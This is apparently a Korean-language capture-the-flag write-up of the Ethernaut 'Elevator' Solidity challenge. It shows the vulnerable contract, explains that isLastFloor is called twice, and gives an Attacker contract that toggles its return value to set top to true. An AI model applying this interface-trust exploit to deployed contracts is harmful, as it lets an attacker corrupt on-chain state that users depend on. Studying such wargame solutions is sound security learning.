// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
우리의 mission은 꼭대기 층을 맞춰야 하는 것 같다.
이 문제는 building.isLastFloor() 함수를 두 번 호출한다. 그래서 if 문에서는 isLastFloor(_floor)가 false가 나와야 하고
top에서는 isLastFllor(floor)가 true가 나와야 한다.
현재 top는 false, floor는 0층으로 설정되어 있다. _floor는 아무 숫자나 상관이 없다. 왜냐하면 그냥 True False만 return 하면 되기 때문이다.
contract Attacker{
Elevator elevator;
bool public tmp = true;
constructor(address _address) public {
elevator = Elevator(_address);
}
function isLastFloor(uint) public returns(bool) {
tmp = !tmp;
return tmp;
}
function attack() public {
elevator.goTo(5);
}
}